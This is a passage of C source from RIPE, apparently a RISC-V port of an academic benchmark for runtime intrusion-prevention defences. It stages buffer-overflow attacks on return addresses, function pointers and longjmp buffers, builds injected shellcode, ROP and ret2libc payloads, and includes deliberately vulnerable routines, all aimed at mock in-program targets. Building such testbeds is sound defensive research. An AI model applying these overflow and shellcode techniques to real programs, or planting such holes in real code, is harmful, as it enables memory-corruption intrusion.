payload.jmp_buffer = &stack_jmp_buffer_param; 496 | break; 497 | case LONGJMP_BUF_HEAP: 498 | if (setjmp(*heap_jmp_buffer) != 0) { 499 | printf("Longjmp attack failed. Returning normally...\n"); 500 | return; 501 | } 502 | payload.jmp_buffer = (void *) heap_jmp_buffer; 503 | payload.stack_jmp_buffer_param = NULL; 504 | break; 505 | case LONGJMP_BUF_DATA: 506 | if (setjmp(data_jmp_buffer) != 0) { 507 | printf("Longjmp attack failed. Returning normally...\n"); 508 | return; 509 | } 510 | payload.jmp_buffer = (void *) data_jmp_buffer; 511 | payload.stack_jmp_buffer_param = NULL; 512 | break; 513 | case LONGJMP_BUF_BSS: 514 | if (setjmp(bss_jmp_buffer) != 0) { 515 | printf("Longjmp attack failed. Returning normally...\n"); 516 | return; 517 | } 518 | payload.jmp_buffer = (void *) bss_jmp_buffer; 519 | payload.stack_jmp_buffer_param = NULL; 520 | break; 521 | default: 522 | break; 523 | } 524 | 525 | payload.ptr_to_correct_return_addr = RET_ADDR_PTR; 526 | 527 | payload.inject_param = attack.inject_param; 528 | 529 | switch (attack.technique) { 530 | case DIRECT: 531 | switch (attack.inject_param) { 532 | case RETURN_INTO_LIBC: 533 | // JM: simulate ret2libc by invoking mock libc function 534 | payload.overflow_ptr = &ret2libc_target; 535 | break; 536 | case RETURN_ORIENTED_PROGRAMMING: 537 | // skip over the prologue code of rop_target 538 | // to simulate return-oriented programming gadget 539 | payload.overflow_ptr = (uintptr_t) &rop_target + 16; 540 | break; 541 | case INJECTED_CODE_NO_NOP: 542 | payload.overflow_ptr = buffer; 543 | break; 544 | case DATA_ONLY: 545 | // JM: corrupt variable with nonzero value 546 | payload.overflow_ptr = 0xdeadbeef; 547 | break; 548 | default: 549 | if (output_debug_info) { 550 | fprintf(stderr, "Unknown choice of attack code"); 551 | exit(1); 552 | } 553 | } 554 | break; 555 | case INDIRECT: 556 | /* Here payload.overflow_ptr will point to the final pointer target */ 557 | /* since an indirect attack first overflows a general pointer that in */ 558 | /* turn is dereferenced to overwrite the target pointer */ 559 | switch (attack.code_ptr) { 560 | case RET_ADDR: 561 | payload.overflow_ptr = RET_ADDR_PTR; 562 | break; 563 | case FUNC_PTR_STACK_VAR: 564 | payload.overflow_ptr = &stack_func_ptr; 565 | break; 566 | case FUNC_PTR_STACK_PARAM: 567 | payload.overflow_ptr = &stack_func_ptr_param; 568 | break; 569 | case FUNC_PTR_HEAP: 570 | payload.overflow_ptr = heap_func_ptr; 571 | break; 572 | case FUNC_PTR_BSS: 573 | payload.overflow_ptr = &bss_func_ptr; 574 | break; 575 | case FUNC_PTR_DATA: 576 | payload.overflow_ptr = &data_func_ptr; 577 | break; 578 | case STRUCT_FUNC_PTR_STACK: 579 | payload.overflow_ptr = &stack_struct.func_ptr; 580 | break; 581 | case STRUCT_FUNC_PTR_HEAP: 582 | payload.overflow_ptr = (void *) heap_struct + 256; 583 | break; 584 | case STRUCT_FUNC_PTR_DATA: 585 | payload.overflow_ptr = &data_struct.func_ptr; 586 | break; 587 | case STRUCT_FUNC_PTR_BSS: 588 | payload.overflow_ptr = &bss_struct.func_ptr; 589 | break; 590 | case LONGJMP_BUF_STACK_VAR: 591 | payload.overflow_ptr = stack_jmp_buffer; 592 | break; 593 | case LONGJMP_BUF_STACK_PARAM: 594 | payload.overflow_ptr = stack_jmp_buffer_param; 595 | break; 596 | case LONGJMP_BUF_HEAP: 597 | payload.overflow_ptr = *heap_jmp_buffer; 598 | break; 599 | case LONGJMP_BUF_DATA: 600 | payload.overflow_ptr = data_jmp_buffer; 601 | break; 602 | case LONGJMP_BUF_BSS: 603 | payload.overflow_ptr = bss_jmp_buffer; 604 | break; 605 | // JM: indirect attacks don't apply to int overflows or leaks 606 | case VAR_BOF: 607 | case VAR_IOF: 608 | case VAR_LEAK: 609 | payload.overflow_ptr = &dop_dest; 610 | break; 611 | default: 612 | if (output_debug_info) { 613 | fprintf(stderr, 614 | "Error: Unknown choice of code pointer\n"); 615 | } 616 | 617 | exit(1); 618 | break; 619 | } 620 | break; 621 | } 622 | 623 | if (output_debug_info) { 624 | fprintf(stderr, "target_addr == %p\n", target_addr); 625 | fprintf(stderr, "buffer == %p\n", buffer); 626 | } 627 | 628 | // ------------------------------------------------------ 629 | /* Calculate payload size for overflow of chosen target address */ 630 | if ((unsigned long) target_addr > (unsigned long) buffer) { 631 | payload.size = 632 | (unsigned int) ((unsigned long) target_addr + sizeof(long) 633 | - (unsigned long) buffer 634 | + 1); /* For null termination so that buffer can be */ 635 | /* used with string functions in standard library */ 636 | 637 | if (output_debug_info) 638 | fprintf(stderr, "payload size == %d\n", payload.size); 639 | } else { 640 | if (output_debug_info) 641 | fprintf(stderr, "Error calculating size of payload\n"); 642 | exit(1); 643 | } 644 | 645 | /* Set first byte of buffer to null to allow concatenation functions to */ 646 | /* start filling the buffer from that first byte */ 647 | buffer[0] = '\0'; 648 | 649 | if (!build_payload(&payload)) { 650 | if (output_debug_info) 651 | fprintf(stderr, "Error: Could not build payload\n"); 652 | exit(1); 653 | } 654 | 655 | /****************************************/ 656 | /* Overflow buffer with chosen function */ 657 | /* Note: Here memory will be corrupted */ 658 | /****************************************/ 659 | 660 | switch (attack.function) { 661 | case MEMCPY: 662 | // memcpy() shouldn't copy the terminating NULL, therefore - 1 663 | memcpy(buffer, payload.buffer, payload.size - 1); 664 | break; 665 | case STRCPY: 666 | strcpy(buffer, payload.buffer); 667 | break; 668 | case STRNCPY: 669 | strncpy(buffer, payload.buffer, payload.size); 670 | break; 671 | case SPRINTF: 672 | sprintf(buffer, "%s", payload.buffer); 673 | break; 674 | case SNPRINTF: 675 | snprintf(buffer, payload.size, "%s", payload.buffer); 676 | break; 677 | case STRCAT: 678 | strcat(buffer, payload.buffer); 679 | break; 680 | case STRNCAT: 681 | strncat(buffer, payload.buffer, payload.size); 682 | break; 683 | case SSCANF: 684 | snprintf(format_string_buf, 15, "%%%ic", payload.size); 685 | // Removed for now sscanf(payload.buffer, format_string_buf, buffer); 686 | break; 687 | case HOMEBREW: 688 | homebrew_memcpy(buffer, payload.buffer, payload.size - 1); 689 | break; 690 | default: 691 | if (output_debug_info) 692 | fprintf(stderr, "Error: Unknown choice of function\n"); 693 | exit(1); 694 | break; 695 | } 696 | 697 | /*******************************************/ 698 | /* Ensure that code pointer is overwritten */ 699 | /*******************************************/ 700 | 701 | switch (attack.technique) { 702 | case DIRECT: 703 | /* Code pointer already overwritten */ 704 | break; 705 | case INDIRECT: 706 | // JM: zero out junk byte written to general pointer 707 | if (attack.function == SSCANF) { 708 | *(uint32_t *) target_addr <<= 8; 709 | *(uint32_t *) target_addr >>= 8; 710 | } 711 | 712 | if (attack.inject_param == RETURN_INTO_LIBC) { 713 | // JM: auxilliary overflow to give attacker control of a second general ptr 714 | payload.overflow_ptr = &ret2libc_target; 715 | payload.size = (uintptr_t) target_addr_aux 716 | - (uintptr_t) buffer + sizeof(long) + 1; 717 | build_payload(&payload); 718 | memcpy(buffer, payload.buffer, payload.size - 1); 719 | printf("target_addr_aux: %p\n", target_addr_aux); 720 | 721 | switch (attack.location) { 722 | case STACK: 723 | *(uint32_t *) (*(uint32_t *) target_addr) = 724 | (uintptr_t) stack_mem_ptr_aux; 725 | break; 726 | case HEAP: 727 | *(uint32_t *) (*(uint32_t *) target_addr) = 728 | (uintptr_t) *heap_mem_ptr_aux; 729 | break; 730 | case DATA: 731 | *(uint32_t *) (*(uint32_t *) target_addr) = 732 | (uintptr_t) *data_mem_ptr_aux; 733 | break; 734 | case BSS: 735 | *(uint32_t *) (*(uint32_t *) target_addr) = 736 | (uintptr_t) bss_mem_ptr_aux; 737 | break; 738 | } 739 | } else if (attack.inject_param == INJECTED_CODE_NO_NOP) { 740 | *(uintptr_t *) (*(uintptr_t *) target_addr) = 741 | (uintptr_t) buffer; 742 | } 743 | break; 744 | default: 745 | if (output_debug_info) 746 | fprintf(stderr, "Error: Unknown choice of attack parameterB\n"); 747 | 748 | exit(1); 749 | break; 750 | } 751 | 752 | printf(""); 753 | printf("\nExecuting attack... "); 754 | 755 | switch (attack.code_ptr) { 756 | case RET_ADDR: 757 | break; 758 | case FUNC_PTR_STACK_VAR: 759 | stack_func_ptr(NULL); 760 | break; 761 | case FUNC_PTR_STACK_PARAM: 762 | ((int (*)(char *, int))(*stack_func_ptr_param))(NULL, 0); 763 | break; 764 | case FUNC_PTR_HEAP: 765 | ((int (*)(char *, int)) * heap_func_ptr)(NULL, 0); 766 | break; 767 | case FUNC_PTR_BSS: 768 | ((int (*)(char *, int))(*bss_func_ptr))(NULL, 0); 769 | break; 770 | 771 | case FUNC_PTR_DATA: 772 | ((int (*)(char *, int))(*data_func_ptr))(NULL, 0); 773 | break; 774 | case LONGJMP_BUF_STACK_VAR: 775 | lj_func(stack_jmp_buffer); 776 | break; 777 | case LONGJMP_BUF_STACK_PARAM: 778 | lj_func(stack_jmp_buffer_param); 779 | break; 780 | case LONGJMP_BUF_HEAP: 781 | lj_func(*heap_jmp_buffer); 782 | break; 783 | case LONGJMP_BUF_DATA: 784 | lj_func(data_jmp_buffer); 785 | break; 786 | case LONGJMP_BUF_BSS: 787 | lj_func(bss_jmp_buffer); 788 | break; 789 | case STRUCT_FUNC_PTR_STACK: 790 | ((int (*)(char *, int)) * (stack_struct.func_ptr))(NULL, 0); 791 | break; 792 | case STRUCT_FUNC_PTR_HEAP: 793 | (*heap_struct->func_ptr)(NULL, 0); 794 | break; 795 | case STRUCT_FUNC_PTR_DATA: 796 | (*data_struct.func_ptr)(NULL, 0); 797 | break; 798 | case STRUCT_FUNC_PTR_BSS: 799 | (*bss_struct.func_ptr)(NULL, 0); 800 | break; 801 | case VAR_BOF: 802 | case VAR_IOF: 803 | switch (attack.location) { 804 | case STACK: 805 | dop_target(buffer, *stack_mem_ptr); 806 | break; 807 | case HEAP: 808 | dop_target(buffer, *heap_mem_ptr); 809 | break; 810 | case DATA: 811 | dop_target(buffer, **data_mem_ptr); 812 | break; 813 | case BSS: 814 | dop_target(buffer, *bss_mem_ptr); 815 | break; 816 | } 817 | break; 818 | case VAR_LEAK: 819 | data_leak(buffer); 820 | break; 821 | } 822 | } /* perform_attack */ 823 | 824 | /*******************/ 825 | /* BUILD_PAYLOAD() */ 826 | /*******************/ 827 | boolean 828 | build_payload(CHARPAYLOAD * payload) 829 | { 830 | size_t size_shellcode, bytes_to_pad; 831 | char * shellcode, * temp_char_buffer, * temp_char_ptr; 832 | 833 | switch (attack.inject_param) { 834 | case INJECTED_CODE_NO_NOP: 835 | if (payload->size < (size_shellcode_nonop + sizeof(long))) { 836 | return FALSE; 837 | } 838 | shellcode = shellcode_nonop; 839 | size_shellcode = size_shellcode_nonop; 840 | break; 841 | case DATA_ONLY: 842 | // JM: 256 padding bytes for unsigned 8bit IOF 843 | if (attack.code_ptr == VAR_IOF) 844 | payload->size = 256 + sizeof(long) + sizeof(char); 845 | 846 | if (attack.code_ptr == VAR_LEAK) { 847 | // JM: simulated packet with length included 848 | payload->size += 32 - sizeof(long); 849 | payload->buffer[0] = payload->size & 0xFF; 850 | payload->buffer[1] = payload->size / 0x100; 851 | payload->buffer[2] = 'A'; 852 | payload->buffer[3] = '\0'; 853 | payload->size = 4; 854 | return TRUE; 855 | } 856 | case RETURN_ORIENTED_PROGRAMMING: 857 | case RETURN_INTO_LIBC: 858 | if (payload->size < sizeof(long)) 859 | return FALSE; 860 | 861 | size_shellcode = 0; 862 | shellcode = "dummy"; 863 | break; 864 | } 865 | /* Allocate payload buffer */ 866 | payload->buffer = (char *) malloc(payload->size); 867 | if (payload->buffer == NULL) { 868 | if (output_debug_info) 869 | printk("Unable to allocate payload buffer."); 870 | return FALSE; 871 | } 872 | 873 | /* Copy shellcode into payload buffer */ 874 | memcpy(payload->buffer, shellcode, size_shellcode); 875 | 876 | /* Calculate number of bytes to pad with */ 877 | /* size - shellcode - target address - null terminator */ 878 | bytes_to_pad = 879 | (payload->size - size_shellcode - sizeof(long) - sizeof(char)); 880 | 881 | /* Pad payload buffer with dummy bytes */ 882 | memset((payload->buffer + size_shellcode), 'A', bytes_to_pad); 883 | 884 | if (output_debug_info) { 885 | fprintf(stderr, "bytes to pad: %d\n", bytes_to_pad); 886 | fprintf(stderr, "\noverflow_ptr: %p\n", payload->overflow_ptr); 887 | } 888 | 889 | /* Add the address to the direct or indirect target */ 890 | if (attack.code_ptr != VAR_IOF) { 891 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 892 | &payload->overflow_ptr, 893 | sizeof(long)); 894 | } 895 | 896 | /* Finally, add the terminating null character at the end */ 897 | memset((payload->buffer + payload->size - 1), '\0', 1); 898 | 899 | if (output_debug_info) 900 | fprintf(stderr, "payload: %s\n", payload->buffer); 901 | return TRUE; 902 | 903 | 904 | } /* build_payload */ 905 | 906 | // JM: call longjmp on a buffer in perform_attack() 907 | void 908 | lj_func(jmp_buf lj_buf) 909 | { 910 | longjmp(lj_buf, 1111); 911 | } 912 | 913 | void 914 | homebrew_memcpy(void * dst, const void * src, size_t length) 915 | { 916 | char * d, * s; 917 | 918 | d = (char *) dst; 919 | s = (char *) src; 920 | 921 | while (length--) { 922 | *d++ = *s++; 923 | } 924 | } 925 | 926 | void 927 | shellcode_target() 928 | { 929 | printf("success.\nCode injection function reached.\n"); 930 | exit(0); 931 | } 932 | 933 | void 934 | ret2libc_target() 935 | { 936 | printf("success.\nRet2Libc function reached.\n"); 937 | exit(0); 938 | } 939 | 940 | void 941 | dop_target(char * buf, uint32_t auth) 942 | { 943 | size_t auth_loc = auth; 944 | 945 | if (attack.code_ptr == VAR_IOF) { 946 | iof(buf, &auth_loc); 947 | } 948 | 949 | if (!auth_loc) { 950 | printf("DOP attack failed\n"); 951 | } else { 952 | printf("success.\nDOP memory corruption reached.\n"); 953 | exit(0); 954 | } 955 | } 956 | 957 | void 958 | rop_target() 959 | { 960 | printf("success.\nROP function reached.\n"); 961 | exit(0); 962 | } 963 | 964 | void 965 | set_low_buf(char ** buf) 966 | { 967 | char low_buf[1024]; 968 | 969 | if (output_debug_info) 970 | fprintf(stderr, "Inside set_low_buf()\n"); 971 | *buf = &low_buf; 972 | } 973 | 974 | void 975 | iof(char * buf, uint32_t iv) 976 | { 977 | char * map; 978 | uint32_t key = iv; 979 | uint8_t len = strlen(buf); 980 | 981 | // 0-length allocation and vulenrable hash operations 982 | map = (char *) malloc(len * sizeof(char)); 983 | key -= (uint32_t) map; 984 | key &= (uint16_t) len - 1; 985 | map[key] = 0xa1; 986 | } 987 | 988 | void 989 | data_leak(char *buf) { 990 | uint16_t size = buf[0] + (buf[1] * 0x100), i; 991 | char *msg = (char *)malloc(size); 992 | 993 | memcpy(msg, buf + 2, size); 994 | for (i = 0; i < size; i++) { 995 | if (msg[i] >= 0x20) printf("%c",msg[i]); 996 | } 997 | 998 | printf("\n"); 999 | } 1000 | 1001 | /*********************/ 1002 | /* BUILD_SHELLCODE() */ 1003 | /*********************/ 1004 | void 1005 | build_shellcode(char * shellcode) 1006 | { 1007 | char attack_addr[9], low_bits[4], high_bits[6]; // target address and its components 1008 | char lui_bin[33], addi_bin[33]; // binary insn encodings (as strings) 1009 | char lui_s[9], addi_s[9], * jalr_s = "000300e7"; // hex insn encodings 1010 | size_t lui_val, addi_val, jalr_val; // raw binary insn encodings 1011 | 1012 | memset(attack_addr, 0, sizeof(attack_addr) ); 1013 | memset(low_bits, 0, sizeof(low_bits) ); 1014 | memset(high_bits, 0, sizeof(high_bits) ); 1015 | memset(lui_bin, 0, sizeof(lui_bin) ); 1016 | memset(addi_bin, 0, sizeof(addi_bin) ); 1017 | memset(lui_s, 0, sizeof(lui_s) ); 1018 | memset(addi_s, 0, sizeof(addi_s) ); 1019 | 1020 | // fix shellcode when lower bits become negative 1021 | if (((unsigned long)&shellcode_target & 0x00000fff) >= 0x800) 1022 | hex_to_string(attack_addr, &shellcode_target + 0x1000); 1023 | else 1024 | hex_to_string(attack_addr, &shellcode_target); 1025 | 1026 | // split attack address into low and high bit strings 1027 | strncpy(low_bits, &attack_addr[5], 3); 1028 | strncpy(high_bits, attack_addr, 5); 1029 | 1030 | jalr_val = strtoul(jalr_s, 0, 16); 1031 | 1032 | // generate 20 imm bits for the LUI insn 1033 | for (int i = 0; i < 5; i++) { 1034 | strncat(lui_bin, hex_to_bin(high_bits[i]), 4); 1035 | } 1036 | 1037 | // append reg and opcode bits, then convert to raw binary 1038 | strncat(lui_bin, "001100110111", 12); 1039 | lui_val = strtoul(lui_bin, 0, 2); 1040 | 1041 | hex_to_string(lui_s, lui_val); 1042 | 1043 | // generate binary for ADDI insn 1044 | for (int i = 0; i < 3; i++) { 1045 | strncat(addi_bin, hex_to_bin(low_bits[i]), 4); 1046 | } 1047 | 1048 | strncat(addi_bin, "00110000001100010011", 20); 1049 | addi_val = strtoul(addi_bin, 0, 2); 1050 | 1051 | hex_to_string(addi_s, addi_val); 1052 | 1053 | format_instruction(shellcode, lui_val); 1054 | format_instruction(shellcode + 4, addi_val); 1055 | format_instruction(shellcode + 8, jalr_val); 1056 | 1057 | hex_to_string(lui_s, lui_val); 1058 | hex_to_string(addi_s, addi_val); 1059 | 1060 | if (output_debug_info) { 1061 | printf("----------------\nShellcode instructions:\n"); 1062 | printf("%s0x%-20s%14s\n", "lui t1, ", high_bits, lui_s); 1063 | printf("%s0x%-20s%10s\n", "addi t1, t1, ", low_bits, addi_s); 1064 | printf("%s%38s\n----------------\n", "jalr t1", jalr_s); 1065 | } 1066 | } /* build_shellcode */ 1067 | 1068 | // convert a 32-bit hex value to padded, 8-char string 1069 | void 1070 | hex_to_string(char * str, size_t val) 1071 | { 1072 | // store value in string and prepend 0s as necessary 1073 | snprintf(str, 9, "%8x", val); 1074 | 1075 | for (int i = 0; i < 9; i++) { 1076 | if (str[i] == ' ') str[i] = '0'; 1077 | } 1078 | } 1079 | 1080 | // format instruction and append to destination string 1081 | void 1082 | format_instruction(char * dest, size_t insn) 1083 | { 1084 | char insn_bytes[4]; 1085 | 1086 | insn_bytes[0] = (insn >> 24) & 0xff; 1087 | insn_bytes[1] = (insn >> 16) & 0xff; 1088 | insn_bytes[2] = (insn >> 8) & 0xff; 1089 | insn_bytes[3] = insn & 0xff; 1090 | 1091 | for (int i = 3; i >= 0; i--) { 1092 | dest[3 - i] = insn_bytes[i]; 1093 | } 1094 | } 1095 | 1096 | boolean 1097 | is_attack_possible() 1098 | { 1099 | if ((attack.inject_param == INJECTED_CODE_NO_NOP) && 1100 | (!(attack.function == MEMCPY) && !(attack.function == HOMEBREW))) 1101 | { 1102 | fprintf(stderr, 1103 | "Error: Impossible to inject shellcode with string functions (for now)\n"); 1104 | return FALSE; 1105 | } 1106 | 1107 | if (attack.inject_param == RETURN_ORIENTED_PROGRAMMING && 1108 | attack.technique != DIRECT) 1109 | { 1110 | fprintf(stderr, 1111 | "Error: Impossible (theoretically) to perform indirect ROP attacks\n"); 1112 | return FALSE; 1113 | } 1114 | 1115 | if (attack.inject_param == DATA_ONLY) { 1116 | if (attack.code_ptr != VAR_BOF && 1117 | attack.code_ptr != VAR_IOF && 1118 | attack.code_ptr != VAR_LEAK) 1119 | { 1120 | fprintf(stderr, "Error: Misused DOP code pointer parameters.\n"); 1121 | return FALSE; 1122 | } 1123 | 1124 | if ((attack.code_ptr == VAR_LEAK || attack.code_ptr == VAR_IOF) && attack.technique == INDIRECT) { 1125 | fprintf(stderr, 1126 | "Error: Impossible to do an indirect int overflow attack.\n"); 1127 | return FALSE; 1128 | } 1129 | 1130 | if (attack.location == HEAP && attack.technique == INDIRECT) { 1131 | fprintf(stderr, 1132 | "Error: Impossible to indirect attack the heap flag.\n"); 1133 | return FALSE; 1134 | } 1135 | } else if (attack.code_ptr == VAR_BOF || 1136 | attack.code_ptr == VAR_IOF || 1137 | attack.code_ptr == VAR_LEAK) { 1138 | fprintf(stderr, 1139 | "Error: Must use \"dataonly\" injection parameter for DOP attacks.\n"); 1140 | return FALSE; 1141 | } 1142 | 1143 | // JM: attacks targeting another memory location must be indirect 1144 | switch (attack.location) { 1145 | case STACK: 1146 | if ((attack.technique == DIRECT)) { 1147 | if ((attack.code_ptr == FUNC_PTR_HEAP) || 1148 | (attack.code_ptr == FUNC_PTR_BSS) || 1149 | (attack.code_ptr == FUNC_PTR_DATA) || 1150 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1151 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1152 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1153 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1154 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1155 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) ) 1156 | { 1157 | fprintf(stderr, 1158 | "Error: Impossible to perform a direct attack on the stack into another memory segment.\n"); 1159 | return FALSE; 1160 | } else if ((attack.code_ptr == FUNC_PTR_STACK_PARAM) && 1161 | ((attack.function == STRCAT) || 1162 | (attack.function == SNPRINTF) || 1163 | (attack.function == SSCANF) || 1164 | (attack.function == HOMEBREW))) 1165 | { 1166 | fprintf(stderr, 1167 | "Error: Impossible to attack the stack parameter directly with the following functions: strcat(), snprintf(), sscanf(), homebrew_memcpy()\n"); 1168 | return FALSE; 1169 | } 1170 | } 1171 | break; 1172 | 1173 | case HEAP: 1174 | if ((attack.technique == DIRECT) && 1175 | ((attack.code_ptr == RET_ADDR) || 1176 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1177 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1178 | (attack.code_ptr == FUNC_PTR_BSS) || 1179 | (attack.code_ptr == FUNC_PTR_DATA) || 1180 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1181 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1182 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1183 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1184 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1185 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1186 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) 1187 | { 1188 | fprintf(stderr, 1189 | "Error: Impossible to perform a direct attack on the heap into another memory segment.\n"); 1190 | return FALSE; 1191 | } 1192 | break; 1193 | 1194 | case DATA: 1195 | if ((attack.technique == DIRECT) && 1196 | ((attack.code_ptr == RET_ADDR) || 1197 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1198 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1199 | (attack.code_ptr == FUNC_PTR_BSS) || 1200 | (attack.code_ptr == FUNC_PTR_HEAP) || 1201 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1202 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1203 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1204 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1205 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1206 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1207 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) 1208 | { 1209 | fprintf(stderr, 1210 | "Error: Impossible to perform a direct attack on the data segment into another memory segment.\n"); 1211 | return FALSE; 1212 | } 1213 | break; 1214 | 1215 | 1216 | case BSS: 1217 | if ((attack.technique == DIRECT) && 1218 | ((attack.code_ptr == RET_ADDR) || 1219 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1220 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1221 | (attack.code_ptr == FUNC_PTR_DATA) || 1222 | (attack.code_ptr == FUNC_PTR_HEAP) || 1223 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1224 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1225 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1226 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1227 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1228 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1229 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) )) 1230 | { 1231 | fprintf(stderr, 1232 | "Error: Impossible to perform a direct attack on the bss into another memory segment.\n"); 1233 | return FALSE; 1234 | } else if ((attack.technique == INDIRECT) && 1235 | (attack.code_ptr == LONGJMP_BUF_HEAP) && 1236 | (!(attack.function == MEMCPY) && 1237 | !(attack.function == STRNCPY) && 1238 | !(attack.function == HOMEBREW))) 1239 | { 1240 | fprintf(stderr, 1241 | "Error: Impossible to perform BSS->Heap Longjmp attacks using string functions.\n"); 1242 | return FALSE; 1243 | } 1244 | break; 1245 | } 1246 | 1247 | return TRUE; 1248 | } /* is_attack_possible */ 1249 | -------------------------------------------------------------------------------- /ripe/src/ripe_attack_generator.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * The RISC-V port of RIPE was developed by John Merrill. 5 | * 6 | * Released under the MIT license (see file named LICENSE) 7 | * 8 | * This program is part the paper titled 9 | * RIPE: Runtime Intrusion Prevention Evaluator 10 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 11 | * Mariam Kamkar and Wouter Joosen 12 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 13 | * 14 | * Please cite accordingly. 15 | */ 16 | 17 | /** 18 | * @author John Wilander 19 | * 2007-01-16 20 | */ 21 | 22 | #ifndef RIPE_ATTACK_GENERATOR_H 23 | #define RIPE_ATTACK_GENERATOR_H 24 | /* 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | */ 37 | // ASA 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | #include 45 | #include 46 | 47 | #include "ripe_attack_parameters.h" 48 | #define fprintf(dest,str...) printk(str) 49 | #define printf(str...) printk(str) 50 | // END ASA 51 | 52 | typedef int boolean; 53 | enum booleans {FALSE=0, TRUE}; 54 | 55 | const char *bin4b[16] = {"0000", "0001", "0010", "0011", 56 | "0100", "0101", "0110", "0111", 57 | "1000", "1001", "1010", "1011", 58 | "1100", "1101", "1110", "1111"}; 59 | 60 | typedef struct attack_form ATTACK_FORM; 61 | struct attack_form { 62 | enum techniques technique; 63 | enum inject_params inject_param; 64 | enum code_ptrs code_ptr; 65 | enum locations location; 66 | enum functions function; 67 | }; 68 | 69 | typedef struct char_payload CHARPAYLOAD; 70 | struct char_payload { 71 | enum inject_params inject_param; 72 | size_t size; 73 | void *overflow_ptr; /* Points to code pointer (direct attack) */ 74 | /* or general pointer (indirect attack) */ 75 | char *buffer; 76 | 77 | jmp_buf *jmp_buffer; 78 | 79 | long stack_jmp_buffer_param; 80 | size_t offset_to_copied_base_ptr; 81 | size_t offset_to_fake_return_addr; 82 | long *fake_return_addr; 83 | long *ptr_to_correct_return_addr; 84 | }; 85 | 86 | struct attackme { 87 | char buffer[256]; 88 | int (*func_ptr)(const char *, int); 89 | }; 90 | 91 | /** 92 | * main 93 | * -t technique 94 | * -i injection parameter (code + NOP / return-into-libc / param to system()) 95 | * -c code pointer 96 | * -l memory location 97 | * -f function to overflow with 98 | * -d output debug info 99 | * -o set output stream 100 | */ 101 | // ASA int main(int argc, char **argv); 102 | void main(void); 103 | 104 | void perform_attack( 105 | int (*stack_func_ptr_param)(const char *), 106 | jmp_buf stack_jmp_buffer_param); 107 | 108 | /* BUILD_PAYLOAD() */ 109 | /* */ 110 | /* Simplified example of payload (exact figures are just made up): */ 111 | /* */ 112 | /* size = 31 (the total payload size) */ 113 | /* size_sc = 12 (size of shellcode incl NOP) */ 114 | /* size_addr = 4 (size of address to code) */ 115 | /* size_null = 1 (size of null termination) */ 116 | /* */ 117 | /* ------------ ----------------- ------------- - */ 118 | /* | Shell code | Padded bytes | Address |N| */ 119 | /* | including | | back to |u| */ 120 | /* | optional | | NOP sled or |l| */ 121 | /* | NOP sled | | shell code |l| */ 122 | /* ------------ ----------------- ------------- - */ 123 | /* | | | | | | | */ 124 | /* 0 11 12 25 26 29 30 */ 125 | /* / \ / \ \ */ 126 | /* size_sc-1 size_sc / \ size-size_null */ 127 | /* / \ */ 128 | /* (size-1)-size_addr-size_null size-size_addr-size_null */ 129 | /* */ 130 | /* This means that we should pad with */ 131 | /* size - size_sc - size_addr - size_null = 31-12-4-1 = 14 bytes */ 132 | /* and start the padding at index size_sc */ 133 | boolean build_payload(CHARPAYLOAD *payload); 134 | 135 | void set_technique(char *choice); 136 | void set_inject_param(char *choice); 137 | void set_code_ptr(char *choice); 138 | void set_location(char *choice); 139 | void set_function(char *choice); 140 | 141 | int dummy_function(const char *str) { 142 | printf("Dummy function\n"); 143 | return 0; 144 | } 145 | 146 | boolean is_attack_possible(); 147 | void homebrew_memcpy(void *dst, const void *src, size_t len); 148 | 149 | /* 150 | RIPE shellcode uses the following instructions: 151 | la , 152 | jalr 153 | 154 | The first la instruction is disassembled to: 155 | lui , 156 | addi , , 157 | 158 | Thus, the shellcode follows the pattern 159 | shown in the following encodings: 160 | 161 | LUI: xxxx xxxx xxxx xxxx xxxx xxxx x011 0111 162 | \ / \ /\ / 163 | imm value reg# opcode 164 | 165 | 166 | ADDI: xxxx xxxx xxxx xxxx x000 xxxx x011 0011 167 | \ / \ / \ /\ / 168 | imm value reg# reg# opcode 169 | 170 | 171 | JALR: 0000 0000 0000 xxxx x000 0000 1110 0111 172 | \ / \ / 173 | reg# opcode 174 | 175 | The shellcode is formatted so that: 176 | 1. All instructions are stored to a single string 177 | 1. Byte order is converted to little-endian 178 | */ 179 | 